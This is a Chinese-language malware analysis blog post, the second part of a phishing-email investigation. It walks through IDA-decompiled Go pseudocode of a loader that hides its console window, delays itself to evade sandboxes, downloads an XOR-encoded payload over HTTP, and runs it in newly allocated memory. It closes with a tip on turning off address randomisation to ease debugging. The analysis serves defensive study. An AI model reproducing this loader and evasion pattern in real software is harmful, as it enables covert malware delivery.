记一次钓鱼邮件-分析(下)

 {  main_Dlskfhoiuodgnr();  main_Svngeuithbgehegds();  if ( !v8 )  {    os_Exit(0LL);LABEL_16:    runtime_deferreturn(v10);    return;  }  v11 = main_Svfregtehbys((__int64)&byte_671B6B, 92LL);  net_http_Get(v11, v13);  if ( v13 )  {    main_checkErr();    v0 = v18;  }  runtime_deferproc(24, *(_QWORD *)(v0 + 64) + 24LL);  if ( !v1 )  {    v14 = runtime_convI2I((__int64)&RTYPE_io_Reader, *(_QWORD *)(v18 + 64), *(_QWORD *)(v18 + 72));    io_ioutil_ReadAll();    if ( *((_QWORD *)&v14 + 1) )    {      main_checkErr();      v2 = v16;      v3 = v19;    }    v15 = -205177814;    for ( i = 0LL; i < v2; ++i )    {      if ( (unsigned __int64)(i % 4) >= 4 )      {        runtime_panicindex();        BUG();      }      *(_BYTE *)(v3 + i) ^= *((_BYTE *)&v15 + i % 4);    }    v20 = runtime_newobject((__int64)&RTYPE__4_uintptr);    ((void (*)(void))loc_4554B4)();    v5 = v20;    *(_QWORD *)(v20 + 8) = v16;    v17 = syscall__ptr_Proc_Call(qword_7B3338, v5, 4LL, 4LL);    if ( !v17 )      main_checkErr();    v6 = (__int64 *)runtime_newobject((__int64)&RTYPE__3_uintptr);    *v6 = v17;    v7 = v16;    if ( !v16 )    {      runtime_panicindex();      BUG();    }    v6[1] = v19;    v6[2] = v7;    syscall__ptr_Proc_Call(qword_7B3330, (__int64)v6, 3LL, 3LL);    main_checkErr();    syscall_Syscall(v17, 0LL, 0, 0LL, 0LL);    goto LABEL_16;  }  runtime_deferreturn(v9); }

void main_Dlskfhoiuodgnr(){  main_Shvssvdsvfdsbewwerbggf(0LL);}
void __golang main_Shvssvdsvfdsbewwerbggf(__int64 a1){  github_com_gonutz_ide_w32_GetConsoleWindow();  if ( v1 )  {    v4 = v1;    github_com_gonutz_ide_w32_GetWindowThreadProcessId(v1);    github_com_gonutz_ide_w32_GetCurrentProcessId();    if ( v2 == v3 )      github_com_gonutz_ide_w32_ShowWindowAsync(v4, a1);  }}
GetConsoleWindow()--返回值是与调用进程关联的控制台所使用的窗口的句柄;GetWindowThreadProcessId()--检索创建指定窗口的线程的标识符，以及创建该窗口的进程（可选）的标识符。GetCurrentProcessId--检索调用进程的进程标识符。ShowWindowAsync--显示/隐藏运行窗口
总的来说main_Dlskfhoiuodgnr这个函数与上篇当中的main_Hvdf_HCzKr()的做法是一模一样为了隐藏自己的运行窗口

char main_Svngeuithbgehegds(){  main_Gvfdsgreb();  v6 = runtime_concatstring2(0LL, v2, v3, (__int64)&word_6653C2, 16LL);  v8 = main_Gvnsaiubfdsg(v6, v7);  v4 = main_Gvnsaiubfdsg((__int64)&word_66483A, 14LL);  v0 = v8 <= 20;  if ( v5 <= 5 )    ++v0;  if ( v4 > 20 )    v1 = v0;  else    v1 = v0 + 1;  if ( v5 <= 8 )    ++v1;  if ( v1 >= 3 )  {    time_Sleep(180000000000LL);    return 1;  }  else  {    if ( v1 == 2 )      time_Sleep(120000000000LL);    return 1;  }}

__int128 main_Gvfdsgreb(){  v5 = os_Getenv((__int64)&byte_66349B, 9LL);  os_Getenv((__int64)&byte_663125, 8LL);  v2 = runtime_concatstring2(0LL, v5);  v0 = v3;  v1 = v4;  if ( !v4 )  {    v0 = os_Getenv((__int64)&dword_663C7C, 11LL);    v1 = *((_QWORD *)&v2 + 1);  }  *(_QWORD *)&result = v0;  *((_QWORD *)&result + 1) = v1;  return result;}获取当前运行环境的环境变量

Dir = (_QWORD *)io_ioutil_ReadDir(a1, a2);  {    v14[0] = *(_QWORD *)(v10 + 8);    v14[1] = v11;    log_Fatal((__int64)v14, 1LL, 1LL);    return 0LL;  }  else  {    while ( v4 < v3 )    {      v12 = v4;      v13 = Dir;      if ( (*(unsigned __int8 (__golang **)(_QWORD))(*Dir + 24LL))(Dir[1]) )  }  return result;}ReadDir--读取以传入值命名的文件

疑问为什么ida反编译出来的地址和我们运行时的一样？不是有内存地址随机吗？  最简单的方法：  PE文件结构当中可选头部的DllCharacteristics可以对地址随机化进行关闭  通过CFF explorer打开可执行文件之后来到nt头部>可选头部>DllCharacteristics将其置为0即可  也就是将DllCharacteristics当中的DYNAMIC_BASE属性改为0就可以关闭内存地址随机化，方便静态和动态调试相结合。